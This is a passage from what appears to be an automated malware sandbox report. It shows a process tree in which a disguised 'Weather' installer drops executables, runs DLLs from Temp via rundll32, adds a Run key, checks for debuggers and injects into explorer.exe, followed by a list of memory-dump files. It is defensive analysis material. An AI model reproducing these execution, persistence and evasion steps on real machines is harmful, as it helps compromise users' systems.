                                                                                                      PID:6556
                                                                                                      • C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe
                                                                                                        "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=715 -BF=715 -uncf=default
                                                                                                        3⤵
                                                                                                        • Loads dropped DLL
                                                                                                        • Adds Run key to start application
                                                                                                        PID:7420
                                                                                                        • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                          "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" "--gVNB"
                                                                                                          4⤵
                                                                                                          • Loads dropped DLL
                                                                                                          PID:2500
                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_45CF.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites' -retry_count 10"
                                                                                                        3⤵
                                                                                                          PID:6748
                                                                                                    • C:\Windows\system32\rUNdlL32.eXe
                                                                                                      rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                      1⤵
                                                                                                      • Process spawned unexpected child process
                                                                                                      PID:1948
                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                        rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                        2⤵
                                                                                                        • Loads dropped DLL
                                                                                                        PID:5768
                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5768 -s 448
                                                                                                          3⤵
                                                                                                          • Program crash
                                                                                                          • Checks processor information in registry
                                                                                                          • Enumerates system info in registry
                                                                                                          PID:7596
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 5768 -ip 5768
                                                                                                      1⤵
                                                                                                        PID:7540
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 7016 -ip 7016
                                                                                                        1⤵
                                                                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                        PID:3116
                                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                                        C:\Windows\system32\WerFault.exe -pss -s 524 -p 5676 -ip 5676
                                                                                                        1⤵
                                                                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                        PID:888
                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                        1⤵
                                                                                                        • Process spawned unexpected child process
                                                                                                        PID:5700
                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                          2⤵
                                                                                                          • Loads dropped DLL
                                                                                                          PID:3488
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3488 -s 448
                                                                                                            3⤵
                                                                                                            • Program crash
                                                                                                            • Checks processor information in registry
                                                                                                            • Enumerates system info in registry
                                                                                                            PID:4620
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 3488 -ip 3488
                                                                                                        1⤵
                                                                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                        PID:6364
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\D283.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\D283.exe
                                                                                                        1⤵
                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                        PID:6592
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\DDCF.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\DDCF.exe
                                                                                                        1⤵
                                                                                                        • Checks BIOS information in registry
                                                                                                        • Checks whether UAC is enabled
                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                        PID:1180
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\AudioService.exe
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\AudioService.exe"
                                                                                                          2⤵
                                                                                                            PID:7556
                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 5916 -ip 5916
                                                                                                          1⤵
                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                          PID:7104
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\EA15.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\EA15.exe
                                                                                                          1⤵
                                                                                                          • Checks BIOS information in registry
                                                                                                          • Checks whether UAC is enabled
                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                          PID:420
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\F11A.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\F11A.exe
                                                                                                          1⤵
                                                                                                            PID:3392
                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3392 -s 300
                                                                                                              2⤵
                                                                                                              • Program crash
                                                                                                              • Checks processor information in registry
                                                                                                              • Enumerates system info in registry
                                                                                                              PID:7996
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3392 -ip 3392
                                                                                                            1⤵
                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                            PID:3992
                                                                                                          • C:\Windows\SysWOW64\explorer.exe
                                                                                                            C:\Windows\SysWOW64\explorer.exe
                                                                                                            1⤵
                                                                                                              PID:3264
                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3264 -s 876
                                                                                                                2⤵
                                                                                                                • Program crash
                                                                                                                • Checks processor information in registry
                                                                                                                • Enumerates system info in registry
                                                                                                                PID:6004
                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 3264 -ip 3264
                                                                                                              1⤵
                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                              PID:2656
                                                                                                            • C:\Windows\explorer.exe
                                                                                                              C:\Windows\explorer.exe
                                                                                                              1⤵
                                                                                                                PID:1436
                                                                                                              • C:\Windows\system32\WerFault.exe
                                                                                                                C:\Windows\system32\WerFault.exe -pss -s 380 -p 4476 -ip 4476
                                                                                                                1⤵
                                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                PID:5476
                                                                                                              • C:\Windows\SysWOW64\explorer.exe
                                                                                                                C:\Windows\SysWOW64\explorer.exe
                                                                                                                1⤵
                                                                                                                  PID:1916
                                                                                                                • C:\Windows\explorer.exe
                                                                                                                  C:\Windows\explorer.exe
                                                                                                                  1⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Suspicious behavior: MapViewOfSection
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:5204
                                                                                                                • C:\Windows\system32\WerFault.exe
                                                                                                                  C:\Windows\system32\WerFault.exe -pss -s 484 -p 5288 -ip 5288
                                                                                                                  1⤵
                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                  PID:5404
                                                                                                                • C:\Windows\SysWOW64\explorer.exe
                                                                                                                  C:\Windows\SysWOW64\explorer.exe
                                                                                                                  1⤵
                                                                                                                    PID:4704
                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                    C:\Windows\explorer.exe
                                                                                                                    1⤵
                                                                                                                      PID:1736
                                                                                                                    • C:\Windows\SysWOW64\explorer.exe
                                                                                                                      C:\Windows\SysWOW64\explorer.exe
                                                                                                                      1⤵
                                                                                                                        PID:6848
                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                        C:\Windows\explorer.exe
                                                                                                                        1⤵
                                                                                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                        PID:7540
                                                                                                                      • C:\Windows\SysWOW64\explorer.exe
                                                                                                                        C:\Windows\SysWOW64\explorer.exe
                                                                                                                        1⤵
                                                                                                                          PID:6920
                                                                                                                        • C:\Windows\system32\WerFault.exe
                                                                                                                          C:\Windows\system32\WerFault.exe -pss -s 580 -p 6860 -ip 6860
                                                                                                                          1⤵
                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:6088

                                                                                                                        Network

                                                                                                                        MITRE ATT&CK Enterprise v6

                                                                                                                        Replay Monitor

                                                                                                                        Loading Replay Monitor...

                                                                                                                        Downloads

                                                                                                                        • memory/1172-324-0x0000000004190000-0x00000000042CD000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          1.2MB

                                                                                                                          Download

                                                                                                                        • memory/2344-390-0x0000000004A80000-0x0000000004B1D000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          628KB

                                                                                                                          Download

                                                                                                                        • memory/2420-457-0x0000000004E60000-0x0000000004E61000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/2444-278-0x0000000004B60000-0x0000000004B61000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/2544-680-0x0000000000760000-0x0000000000761000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/2940-618-0x0000000004930000-0x0000000004931000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/3120-467-0x00000000026D0000-0x00000000026E6000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          88KB

                                                                                                                          Download

                                                                                                                        • memory/3696-155-0x0000000002DD0000-0x0000000002DD1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/3696-158-0x000000001BB50000-0x000000001BB52000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          8KB

                                                                                                                          Download

                                                                                                                        • memory/3696-153-0x0000000000D50000-0x0000000000D51000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/3696-156-0x0000000002DE0000-0x0000000002DFC000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          112KB

                                                                                                                          Download

                                                                                                                        • memory/3696-157-0x0000000002E00000-0x0000000002E01000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/3700-451-0x0000000005100000-0x0000000005101000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/3720-412-0x000000001AEF0000-0x000000001AEF2000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          8KB

                                                                                                                          Download

                                                                                                                        • memory/4132-182-0x0000027D15D10000-0x0000027D15D11000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4132-180-0x0000027D15D10000-0x0000027D15D11000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4132-177-0x0000027D15D10000-0x0000027D15D11000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4132-167-0x0000027D15D10000-0x0000027D15D11000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4132-175-0x0000027D15D10000-0x0000027D15D11000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4132-174-0x0000027D15D10000-0x0000027D15D11000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4132-172-0x0000027D15D10000-0x0000027D15D11000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4132-184-0x0000027D15D10000-0x0000027D15D11000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4132-166-0x0000027D15D10000-0x0000027D15D11000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4132-190-0x0000027D15D10000-0x0000027D15D11000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4136-455-0x000001EB23D00000-0x000001EB23DCF000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          828KB

                                                                                                                          Download

                                                                                                                        • memory/4136-452-0x000001EB23C90000-0x000001EB23CFF000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          444KB

                                                                                                                          Download

                                                                                                                        • memory/4396-598-0x0000000005390000-0x00000000059A8000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          6.1MB

                                                                                                                          Download

                                                                                                                        • memory/4476-522-0x000000001B330000-0x000000001B332000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          8KB

                                                                                                                          Download

                                                                                                                        • memory/4512-612-0x0000000006030000-0x0000000006031000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-569-0x0000000005F80000-0x0000000005F81000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-502-0x0000000000700000-0x0000000000701000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-562-0x0000000005F60000-0x0000000005F61000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-575-0x0000000005FA0000-0x0000000005FA1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-572-0x0000000005F90000-0x0000000005F91000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-579-0x0000000005FB0000-0x0000000005FB1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-582-0x0000000005FC0000-0x0000000005FC1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-589-0x0000000005FE0000-0x0000000005FE1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-516-0x0000000005F40000-0x0000000005F41000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-585-0x0000000005FD0000-0x0000000005FD1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-601-0x0000000005FF0000-0x0000000005FF1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-607-0x0000000006010000-0x0000000006011000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-620-0x0000000006050000-0x0000000006051000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-565-0x0000000005F70000-0x0000000005F71000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-615-0x0000000006040000-0x0000000006041000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-604-0x0000000006000000-0x0000000006001000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-609-0x0000000006020000-0x0000000006021000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4512-558-0x0000000005F50000-0x0000000005F51000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/4692-552-0x00000000050C0000-0x00000000056D8000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          6.1MB

                                                                                                                          Download

                                                                                                                        • memory/4808-544-0x000001A050B50000-0x000001A050C1F000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          828KB

                                                                                                                          Download

                                                                                                                        • memory/4808-527-0x000001A0506C0000-0x000001A05072E000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          440KB

                                                                                                                          Download

                                                                                                                        • memory/4912-675-0x0000000005400000-0x0000000005401000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5076-548-0x0000000005140000-0x0000000005141000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5204-382-0x00000000048C0000-0x00000000048F0000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          192KB

                                                                                                                          Download

                                                                                                                        • memory/5256-568-0x0000000004EE0000-0x00000000054F8000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          6.1MB

                                                                                                                          Download

                                                                                                                        • memory/5288-592-0x000000001B900000-0x000000001B902000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          8KB

                                                                                                                          Download

                                                                                                                        • memory/5552-450-0x0000000004D10000-0x0000000004D11000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5612-445-0x00000000051D0000-0x00000000051D1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5636-438-0x0000000005060000-0x0000000005061000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5656-420-0x0000000002F00000-0x0000000002F2F000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          188KB

                                                                                                                          Download

                                                                                                                        • memory/5676-218-0x000000001B9C0000-0x000000001B9C1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5676-163-0x0000000000A80000-0x0000000000A81000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5676-217-0x000000001B760000-0x000000001B762000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          8KB

                                                                                                                          Download

                                                                                                                        • memory/5676-198-0x000000001BB40000-0x000000001BB41000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5676-179-0x0000000002B10000-0x0000000002B3B000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          172KB

                                                                                                                          Download

                                                                                                                        • memory/5676-202-0x000000001C240000-0x000000001C241000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5736-672-0x0000000000400000-0x000000000046D000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          436KB

                                                                                                                          Download

                                                                                                                        • memory/5748-509-0x0000000005310000-0x0000000005311000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5772-204-0x00000000053C0000-0x00000000053C7000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          28KB

                                                                                                                          Download

                                                                                                                        • memory/5772-206-0x00000000080A0000-0x00000000080A1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5772-209-0x0000000007AF0000-0x0000000007AF1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5772-185-0x0000000000B20000-0x0000000000B21000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5856-266-0x0000000004C40000-0x0000000004C41000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5856-199-0x0000000000200000-0x0000000000201000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5856-220-0x0000000007870000-0x0000000007871000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5856-226-0x0000000007040000-0x0000000007041000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5856-230-0x0000000007350000-0x0000000007351000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5856-233-0x00000000070A0000-0x00000000070A1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5856-239-0x0000000007E90000-0x0000000007E91000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5856-213-0x0000000004990000-0x00000000049C0000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          192KB

                                                                                                                          Download

                                                                                                                        • memory/5916-192-0x0000000000240000-0x0000000000241000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5916-235-0x0000000007630000-0x0000000007631000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5916-228-0x00000000024B0000-0x00000000024DB000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          172KB

                                                                                                                          Download

                                                                                                                        • memory/5916-215-0x0000000004B60000-0x0000000004B61000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/5924-376-0x00000000009A0000-0x00000000009B2000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          72KB

                                                                                                                          Download

                                                                                                                        • memory/5924-363-0x0000000000980000-0x0000000000990000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          64KB

                                                                                                                          Download

                                                                                                                        • memory/5968-386-0x0000000004840000-0x000000000484A000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          40KB

                                                                                                                          Download

                                                                                                                        • memory/5968-313-0x0000000001750000-0x0000000002076000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          9.1MB

                                                                                                                          Download

                                                                                                                        • memory/5972-634-0x0000000004BB0000-0x0000000004BB1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/6024-535-0x0000000000C40000-0x0000000000CCF000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          572KB

                                                                                                                          Download

                                                                                                                        • memory/6088-677-0x0000000000800000-0x0000000000803000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          12KB

                                                                                                                          Download

                                                                                                                        • memory/6504-533-0x0000000005E70000-0x0000000005E71000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/6560-464-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          80KB

                                                                                                                          Download

                                                                                                                        • memory/6840-440-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          36KB

                                                                                                                          Download

                                                                                                                        • memory/6888-448-0x000000001B450000-0x000000001B452000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          8KB

                                                                                                                          Download

                                                                                                                        • memory/7036-539-0x0000000004B70000-0x0000000004B71000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/7076-658-0x00000000074D0000-0x00000000074D1000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download

                                                                                                                        • memory/7076-661-0x00000000074D2000-0x00000000074D3000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          4KB

                                                                                                                          Download